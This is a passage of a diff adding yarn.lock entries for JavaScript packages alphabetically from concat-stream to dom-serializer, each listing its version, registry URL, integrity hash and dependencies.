+ resolved "https://registry.yarnpkg.com/concat-stream/-/concat-stream-1.6.2.tgz#904bdf194cd3122fc675c77fc4ac3d4ff0fd1a34"
+ integrity sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==
+ dependencies:
+ buffer-from "^1.0.0"
+ inherits "^2.0.3"
+ readable-stream "^2.2.2"
+ typedarray "^0.0.6"
+
+console-browserify@^1.1.0:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/console-browserify/-/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336"
+ integrity sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA==
+
+console-control-strings@^1.0.0, console-control-strings@~1.1.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/console-control-strings/-/console-control-strings-1.1.0.tgz#3d7cf4464db6446ea644bf4b39507f9851008e8e"
+ integrity sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=
+
+consolidate@^0.16.0:
+ version "0.16.0"
+ resolved "https://registry.yarnpkg.com/consolidate/-/consolidate-0.16.0.tgz#a11864768930f2f19431660a65906668f5fbdc16"
+ integrity sha512-Nhl1wzCslqXYTJVDyJCu3ODohy9OfBMB5uD2BiBTzd7w+QY0lBzafkR8y8755yMYHAaMD4NuzbAw03/xzfw+eQ==
+ dependencies:
+ bluebird "^3.7.2"
+
+constant-case@^2.0.0:
+ version "2.0.0"
+ resolved "https://registry.yarnpkg.com/constant-case/-/constant-case-2.0.0.tgz#4175764d389d3fa9c8ecd29186ed6005243b6a46"
+ integrity sha1-QXV2TTidP6nI7NKRhu1gBSQ7akY=
+ dependencies:
+ snake-case "^2.1.0"
+ upper-case "^1.1.1"
+
+constantinople@^4.0.1:
+ version "4.0.1"
+ resolved "https://registry.yarnpkg.com/constantinople/-/constantinople-4.0.1.tgz#0def113fa0e4dc8de83331a5cf79c8b325213151"
+ integrity sha512-vCrqcSIq4//Gx74TXXCGnHpulY1dskqLTFGDmhrGxzeXL8lF8kvXv6mpNWlJj1uD4DW23D4ljAqbY4RRaaUZIw==
+ dependencies:
+ "@babel/parser" "^7.6.0"
+ "@babel/types" "^7.6.1"
+
+constants-browserify@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/constants-browserify/-/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75"
+ integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=
+
+content-disposition@0.5.3:
+ version "0.5.3"
+ resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd"
+ integrity sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==
+ dependencies:
+ safe-buffer "5.1.2"
+
+content-type@~1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
+ integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==
+
+convert-source-map@^1.4.0, convert-source-map@^1.5.0, convert-source-map@^1.7.0:
+ version "1.7.0"
+ resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442"
+ integrity sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==
+ dependencies:
+ safe-buffer "~5.1.1"
+
+cookie-signature@1.0.6:
+ version "1.0.6"
+ resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
+ integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
+
+cookie@0.4.0:
+ version "0.4.0"
+ resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
+ integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==
+
+copy-concurrently@^1.0.0:
+ version "1.0.5"
+ resolved "https://registry.yarnpkg.com/copy-concurrently/-/copy-concurrently-1.0.5.tgz#92297398cae34937fcafd6ec8139c18051f0b5e0"
+ integrity sha512-f2domd9fsVDFtaFcbaRZuYXwtdmnzqbADSwhSWYxYB/Q8zsdUUFMXVRwXGDMWmbEzAn1kdRrtI1T/KTFOL4X2A==
+ dependencies:
+ aproba "^1.1.1"
+ fs-write-stream-atomic "^1.0.8"
+ iferr "^0.1.5"
+ mkdirp "^0.5.1"
+ rimraf "^2.5.4"
+ run-queue "^1.0.0"
+
+copy-descriptor@^0.1.0:
+ version "0.1.1"
+ resolved "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
+ integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
+
+copy-to-clipboard@^3.3.1:
+ version "3.3.1"
+ resolved "https://registry.yarnpkg.com/copy-to-clipboard/-/copy-to-clipboard-3.3.1.tgz#115aa1a9998ffab6196f93076ad6da3b913662ae"
+ integrity sha512-i13qo6kIHTTpCm8/Wup+0b1mVWETvu2kIMzKoK8FpkLkFxlt0znUAHcMzox+T8sPlqtZXq3CulEjQHsYiGFJUw==
+ dependencies:
+ toggle-selection "^1.0.6"
+
+core-js-compat@^3.8.1, core-js-compat@^3.9.0, core-js-compat@^3.9.1:
+ version "3.13.1"
+ resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.13.1.tgz#05444caa8f153be0c67db03cf8adb8ec0964e58e"
+ integrity sha512-mdrcxc0WznfRd8ZicEZh1qVeJ2mu6bwQFh8YVUK48friy/FOwFV5EJj9/dlh+nMQ74YusdVfBFDuomKgUspxWQ==
+ dependencies:
+ browserslist "^4.16.6"
+ semver "7.0.0"
+
+core-js-pure@^3.8.2:
+ version "3.13.1"
+ resolved "https://registry.yarnpkg.com/core-js-pure/-/core-js-pure-3.13.1.tgz#5d139d346780f015f67225f45ee2362a6bed6ba1"
+ integrity sha512-wVlh0IAi2t1iOEh16y4u1TRk6ubd4KvLE8dlMi+3QUI6SfKphQUh7tAwihGGSQ8affxEXpVIPpOdf9kjR4v4Pw==
+
+core-js@^3.0.4, core-js@^3.6.5, core-js@^3.8.2:
+ version "3.13.1"
+ resolved "https://registry.yarnpkg.com/core-js/-/core-js-3.13.1.tgz#30303fabd53638892062d8b4e802cac7599e9fb7"
+ integrity sha512-JqveUc4igkqwStL2RTRn/EPFGBOfEZHxJl/8ej1mXJR75V3go2mFF4bmUYkEIT1rveHKnkUlcJX/c+f1TyIovQ==
+
+core-util-is@1.0.2, core-util-is@~1.0.0:
+ version "1.0.2"
+ resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
+ integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
+
+cosmiconfig@^5.0.0:
+ version "5.2.1"
+ resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-5.2.1.tgz#040f726809c591e77a17c0a3626ca45b4f168b1a"
+ integrity sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==
+ dependencies:
+ import-fresh "^2.0.0"
+ is-directory "^0.3.1"
+ js-yaml "^3.13.1"
+ parse-json "^4.0.0"
+
+cosmiconfig@^6.0.0:
+ version "6.0.0"
+ resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-6.0.0.tgz#da4fee853c52f6b1e6935f41c1a2fc50bd4a9982"
+ integrity sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==
+ dependencies:
+ "@types/parse-json" "^4.0.0"
+ import-fresh "^3.1.0"
+ parse-json "^5.0.0"
+ path-type "^4.0.0"
+ yaml "^1.7.2"
+
+cosmiconfig@^7.0.0:
+ version "7.0.0"
+ resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-7.0.0.tgz#ef9b44d773959cae63ddecd122de23853b60f8d3"
+ integrity sha512-pondGvTuVYDk++upghXJabWzL6Kxu6f26ljFw64Swq9v6sQPUL3EUlVDV56diOjpCayKihL6hVe8exIACU4XcA==
+ dependencies:
+ "@types/parse-json" "^4.0.0"
+ import-fresh "^3.2.1"
+ parse-json "^5.0.0"
+ path-type "^4.0.0"
+ yaml "^1.10.0"
+
+cp-file@^7.0.0:
+ version "7.0.0"
+ resolved "https://registry.yarnpkg.com/cp-file/-/cp-file-7.0.0.tgz#b9454cfd07fe3b974ab9ea0e5f29655791a9b8cd"
+ integrity sha512-0Cbj7gyvFVApzpK/uhCtQ/9kE9UnYpxMzaq5nQQC/Dh4iaj5fxp7iEFIullrYwzj8nf0qnsI1Qsx34hAeAebvw==
+ dependencies:
+ graceful-fs "^4.1.2"
+ make-dir "^3.0.0"
+ nested-error-stacks "^2.0.0"
+ p-event "^4.1.0"
+
+cpy@^8.1.1:
+ version "8.1.2"
+ resolved "https://registry.yarnpkg.com/cpy/-/cpy-8.1.2.tgz#e339ea54797ad23f8e3919a5cffd37bfc3f25935"
+ integrity sha512-dmC4mUesv0OYH2kNFEidtf/skUwv4zePmGeepjyyJ0qTo5+8KhA1o99oIAwVVLzQMAeDJml74d6wPPKb6EZUTg==
+ dependencies:
+ arrify "^2.0.1"
+ cp-file "^7.0.0"
+ globby "^9.2.0"
+ has-glob "^1.0.0"
+ junk "^3.1.0"
+ nested-error-stacks "^2.1.0"
+ p-all "^2.1.0"
+ p-filter "^2.1.0"
+ p-map "^3.0.0"
+
+create-ecdh@^4.0.0:
+ version "4.0.4"
+ resolved "https://registry.yarnpkg.com/create-ecdh/-/create-ecdh-4.0.4.tgz#d6e7f4bffa66736085a0762fd3a632684dabcc4e"
+ integrity sha512-mf+TCx8wWc9VpuxfP2ht0iSISLZnt0JgWlrOKZiNqyUZWnjIaCIVNQArMHnCZKfEYRg6IM7A+NeJoN8gf/Ws0A==
+ dependencies:
+ bn.js "^4.1.0"
+ elliptic "^6.5.3"
+
+create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/create-hash/-/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196"
+ integrity sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==
+ dependencies:
+ cipher-base "^1.0.1"
+ inherits "^2.0.1"
+ md5.js "^1.3.4"
+ ripemd160 "^2.0.1"
+ sha.js "^2.4.0"
+
+create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7:
+ version "1.1.7"
+ resolved "https://registry.yarnpkg.com/create-hmac/-/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff"
+ integrity sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==
+ dependencies:
+ cipher-base "^1.0.3"
+ create-hash "^1.1.0"
+ inherits "^2.0.1"
+ ripemd160 "^2.0.0"
+ safe-buffer "^5.0.1"
+ sha.js "^2.4.8"
+
+create-react-context@0.3.0:
+ version "0.3.0"
+ resolved "https://registry.yarnpkg.com/create-react-context/-/create-react-context-0.3.0.tgz#546dede9dc422def0d3fc2fe03afe0bc0f4f7d8c"
+ integrity sha512-dNldIoSuNSvlTJ7slIKC/ZFGKexBMBrrcc+TTe1NdmROnaASuLPvqpwj9v4XS4uXZ8+YPu0sNmShX2rXI5LNsw==
+ dependencies:
+ gud "^1.0.0"
+ warning "^4.0.3"
+
+cross-spawn@7.0.3:
+ version "7.0.3"
+ resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6"
+ integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==
+ dependencies:
+ path-key "^3.1.0"
+ shebang-command "^2.0.0"
+ which "^2.0.1"
+
+cross-spawn@^3.0.0:
+ version "3.0.1"
+ resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-3.0.1.tgz#1256037ecb9f0c5f79e3d6ef135e30770184b982"
+ integrity sha1-ElYDfsufDF9549bvE14wdwGEuYI=
+ dependencies:
+ lru-cache "^4.0.1"
+ which "^1.2.9"
+
+cross-spawn@^6.0.0:
+ version "6.0.5"
+ resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4"
+ integrity sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==
+ dependencies:
+ nice-try "^1.0.4"
+ path-key "^2.0.1"
+ semver "^5.5.0"
+ shebang-command "^1.2.0"
+ which "^1.2.9"
+
+crypto-browserify@^3.11.0:
+ version "3.12.0"
+ resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec"
+ integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==
+ dependencies:
+ browserify-cipher "^1.0.0"
+ browserify-sign "^4.0.0"
+ create-ecdh "^4.0.0"
+ create-hash "^1.1.0"
+ create-hmac "^1.1.0"
+ diffie-hellman "^5.0.0"
+ inherits "^2.0.1"
+ pbkdf2 "^3.0.3"
+ public-encrypt "^4.0.0"
+ randombytes "^2.0.0"
+ randomfill "^1.0.3"
+
+css-loader@^3.6.0:
+ version "3.6.0"
+ resolved "https://registry.yarnpkg.com/css-loader/-/css-loader-3.6.0.tgz#2e4b2c7e6e2d27f8c8f28f61bffcd2e6c91ef645"
+ integrity sha512-M5lSukoWi1If8dhQAUCvj4H8vUt3vOnwbQBH9DdTm/s4Ym2B/3dPMtYZeJmq7Q3S3Pa+I94DcZ7pc9bP14cWIQ==
+ dependencies:
+ camelcase "^5.3.1"
+ cssesc "^3.0.0"
+ icss-utils "^4.1.1"
+ loader-utils "^1.2.3"
+ normalize-path "^3.0.0"
+ postcss "^7.0.32"
+ postcss-modules-extract-imports "^2.0.0"
+ postcss-modules-local-by-default "^3.0.2"
+ postcss-modules-scope "^2.2.0"
+ postcss-modules-values "^3.0.0"
+ postcss-value-parser "^4.1.0"
+ schema-utils "^2.7.0"
+ semver "^6.3.0"
+
+css-node-extract@^2.1.3:
+ version "2.1.3"
+ resolved "https://registry.yarnpkg.com/css-node-extract/-/css-node-extract-2.1.3.tgz#ec388a857b8fdf13fefd94b3da733257162405da"
+ integrity sha512-E7CzbC0I4uAs2dI8mPCVe+K37xuja5kjIugOotpwICFL7vzhmFMAPHvS/MF9gFrmv8DDUANsxrgyT/I3OLukcw==
+ dependencies:
+ change-case "^3.0.1"
+ postcss "^6.0.14"
+
+css-select@^2.0.2:
+ version "2.1.0"
+ resolved "https://registry.yarnpkg.com/css-select/-/css-select-2.1.0.tgz#6a34653356635934a81baca68d0255432105dbef"
+ integrity sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==
+ dependencies:
+ boolbase "^1.0.0"
+ css-what "^3.2.1"
+ domutils "^1.7.0"
+ nth-check "^1.0.2"
+
+css-selector-extract@^3.3.6:
+ version "3.3.6"
+ resolved "https://registry.yarnpkg.com/css-selector-extract/-/css-selector-extract-3.3.6.tgz#5cc670cfeae743015e80faf2d722d7818657e3e5"
+ integrity sha512-bBI8ZJKKyR9iHvxXb4t3E6WTMkis94eINopVg7y2FmmMjLXUVduD7mPEcADi4i9FX4wOypFMFpySX+0keuefxg==
+ dependencies:
+ postcss "^6.0.14"
+
+css-what@^3.2.1:
+ version "3.4.2"
+ resolved "https://registry.yarnpkg.com/css-what/-/css-what-3.4.2.tgz#ea7026fcb01777edbde52124e21f327e7ae950e4"
+ integrity sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==
+
+cssesc@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee"
+ integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==
+
+csstype@^2.5.7:
+ version "2.6.17"
+ resolved "https://registry.yarnpkg.com/csstype/-/csstype-2.6.17.tgz#4cf30eb87e1d1a005d8b6510f95292413f6a1c0e"
+ integrity sha512-u1wmTI1jJGzCJzWndZo8mk4wnPTZd1eOIYTYvuEyOQGfmDl3TrabCCfKnOC86FZwW/9djqTl933UF/cS425i9A==
+
+csstype@^3.0.2:
+ version "3.0.8"
+ resolved "https://registry.yarnpkg.com/csstype/-/csstype-3.0.8.tgz#d2266a792729fb227cd216fb572f43728e1ad340"
+ integrity sha512-jXKhWqXPmlUeoQnF/EhTtTl4C9SnrxSH/jZUih3jmO6lBKr99rP3/+FmrMj4EFpOXzMtXHAZkd3x0E6h6Fgflw==
+
+currently-unhandled@^0.4.1:
+ version "0.4.1"
+ resolved "https://registry.yarnpkg.com/currently-unhandled/-/currently-unhandled-0.4.1.tgz#988df33feab191ef799a61369dd76c17adf957ea"
+ integrity sha1-mI3zP+qxke95mmE2nddsF635V+o=
+ dependencies:
+ array-find-index "^1.0.1"
+
+cyclist@^1.0.1:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/cyclist/-/cyclist-1.0.1.tgz#596e9698fd0c80e12038c2b82d6eb1b35b6224d9"
+ integrity sha1-WW6WmP0MgOEgOMK4LW6xs1tiJNk=
+
+dashdash@^1.12.0:
+ version "1.14.1"
+ resolved "https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0"
+ integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=
+ dependencies:
+ assert-plus "^1.0.0"
+
+debug@2.6.9, debug@^2.2.0, debug@^2.3.3, debug@^2.6.0:
+ version "2.6.9"
+ resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
+ integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
+ dependencies:
+ ms "2.0.0"
+
+debug@^3.0.0:
+ version "3.2.7"
+ resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
+ integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
+ dependencies:
+ ms "^2.1.1"
+
+debug@^4.1.0, debug@^4.1.1:
+ version "4.3.1"
+ resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.1.tgz#f0d229c505e0c6d8c49ac553d1b13dc183f6b2ee"
+ integrity sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==
+ dependencies:
+ ms "2.1.2"
+
+decamelize@^1.1.2, decamelize@^1.2.0:
+ version "1.2.0"
+ resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
+ integrity sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=
+
+decode-uri-component@^0.2.0:
+ version "0.2.0"
+ resolved "https://registry.yarnpkg.com/decode-uri-component/-/decode-uri-component-0.2.0.tgz#eb3913333458775cb84cd1a1fae062106bb87545"
+ integrity sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=
+
+deep-is@~0.1.3:
+ version "0.1.3"
+ resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
+ integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=
+
+deep-object-diff@^1.1.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/deep-object-diff/-/deep-object-diff-1.1.0.tgz#d6fabf476c2ed1751fc94d5ca693d2ed8c18bc5a"
+ integrity sha512-b+QLs5vHgS+IoSNcUE4n9HP2NwcHj7aqnJWsjPtuG75Rh5TOaGt0OjAYInh77d5T16V5cRDC+Pw/6ZZZiETBGw==
+
+deepmerge@^4.2.2:
+ version "4.2.2"
+ resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.2.2.tgz#44d2ea3679b8f4d4ffba33f03d865fc1e7bf4955"
+ integrity sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==
+
+define-properties@^1.1.2, define-properties@^1.1.3:
+ version "1.1.3"
+ resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
+ integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==
+ dependencies:
+ object-keys "^1.0.12"
+
+define-property@^0.2.5:
+ version "0.2.5"
+ resolved "https://registry.yarnpkg.com/define-property/-/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116"
+ integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=
+ dependencies:
+ is-descriptor "^0.1.0"
+
+define-property@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/define-property/-/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6"
+ integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY=
+ dependencies:
+ is-descriptor "^1.0.0"
+
+define-property@^2.0.2:
+ version "2.0.2"
+ resolved "https://registry.yarnpkg.com/define-property/-/define-property-2.0.2.tgz#d459689e8d654ba77e02a817f8710d702cb16e9d"
+ integrity sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==
+ dependencies:
+ is-descriptor "^1.0.2"
+ isobject "^3.0.1"
+
+delayed-stream@~1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
+ integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk=
+
+delegate@^3.1.2:
+ version "3.2.0"
+ resolved "https://registry.yarnpkg.com/delegate/-/delegate-3.2.0.tgz#b66b71c3158522e8ab5744f720d8ca0c2af59166"
+ integrity sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==
+
+delegates@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/delegates/-/delegates-1.0.0.tgz#84c6e159b81904fdca59a0ef44cd870d31250f9a"
+ integrity sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=
+
+depd@~1.1.2:
+ version "1.1.2"
+ resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
+ integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
+
+des.js@^1.0.0:
+ version "1.0.1"
+ resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843"
+ integrity sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==
+ dependencies:
+ inherits "^2.0.1"
+ minimalistic-assert "^1.0.0"
+
+destroy@~1.0.4:
+ version "1.0.4"
+ resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
+ integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
+
+detab@2.0.4:
+ version "2.0.4"
+ resolved "https://registry.yarnpkg.com/detab/-/detab-2.0.4.tgz#b927892069aff405fbb9a186fe97a44a92a94b43"
+ integrity sha512-8zdsQA5bIkoRECvCrNKPla84lyoR7DSAyf7p0YgXzBO9PDJx8KntPUay7NS6yp+KdxdVtiE5SpHKtbp2ZQyA9g==
+ dependencies:
+ repeat-string "^1.5.4"
+
+detect-file@^1.0.0:
+ version "1.0.0"
+ resolved "https://registry.yarnpkg.com/detect-file/-/detect-file-1.0.0.tgz#f0d66d03672a825cb1b73bdb3fe62310c8e552b7"
+ integrity sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=
+
+detect-port-alt@1.1.6:
+ version "1.1.6"
+ resolved "https://registry.yarnpkg.com/detect-port-alt/-/detect-port-alt-1.1.6.tgz#24707deabe932d4a3cf621302027c2b266568275"
+ integrity sha512-5tQykt+LqfJFBEYaDITx7S7cR7mJ/zQmLXZ2qt5w04ainYZw6tBf9dBunMjVeVOdYVRUzUOE4HkY5J7+uttb5Q==
+ dependencies:
+ address "^1.0.1"
+ debug "^2.6.0"
+
+detect-port@^1.3.0:
+ version "1.3.0"
+ resolved "https://registry.yarnpkg.com/detect-port/-/detect-port-1.3.0.tgz#d9c40e9accadd4df5cac6a782aefd014d573d1f1"
+ integrity sha512-E+B1gzkl2gqxt1IhUzwjrxBKRqx1UzC3WLONHinn8S3T6lwV/agVCyitiFOsGJ/eYuEUBvD71MZHy3Pv1G9doQ==
+ dependencies:
+ address "^1.0.1"
+ debug "^2.6.0"
+
+diffie-hellman@^5.0.0:
+ version "5.0.3"
+ resolved "https://registry.yarnpkg.com/diffie-hellman/-/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875"
+ integrity sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==
+ dependencies:
+ bn.js "^4.1.0"
+ miller-rabin "^4.0.0"
+ randombytes "^2.0.0"
+
+dir-glob@^2.2.2:
+ version "2.2.2"
+ resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-2.2.2.tgz#fa09f0694153c8918b18ba0deafae94769fc50c4"
+ integrity sha512-f9LBi5QWzIW3I6e//uxZoLBlUt9kcp66qo0sSCxL6YZKc75R1c4MFCoe/LaZiBGmgujvQdxc5Bn3QhfyvK5Hsw==
+ dependencies:
+ path-type "^3.0.0"
+
+dir-glob@^3.0.1:
+ version "3.0.1"
+ resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-3.0.1.tgz#56dbf73d992a4a93ba1584f4534063fd2e41717f"
+ integrity sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==
+ dependencies:
+ path-type "^4.0.0"
+
+doctrine@^3.0.0:
+ version "3.0.0"
+ resolved "https://registry.yarnpkg.com/doctrine/-/doctrine-3.0.0.tgz#addebead72a6574db783639dc87a121773973961"
+ integrity sha512-yS+Q5i3hBf7GBkd4KG8a7eBNNWNGLTaEwwYWUijIYM7zrlYDM0BFXHjjPWlWZ1Rg7UaddZeIDmi9jF3HmqiQ2w==
+ dependencies:
+ esutils "^2.0.2"
+
+doctypes@^1.1.0:
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/doctypes/-/doctypes-1.1.0.tgz#ea80b106a87538774e8a3a4a5afe293de489e0a9"
+ integrity sha1-6oCxBqh1OHdOijpKWv4pPeSJ4Kk=
+
+dom-converter@^0.2:
+ version "0.2.0"
+ resolved "https://registry.yarnpkg.com/dom-converter/-/dom-converter-0.2.0.tgz#6721a9daee2e293682955b6afe416771627bb768"
+ integrity sha512-gd3ypIPfOMr9h5jIKq8E3sHOTCjeirnl0WK5ZdS1AW0Odt0b1PaWaHdJ4Qk4klv+YB9aJBS7mESXjFoDQPu6DA==
+ dependencies:
+ utila "~0.4"
+
+dom-serializer@0:
+ version "0.2.2"
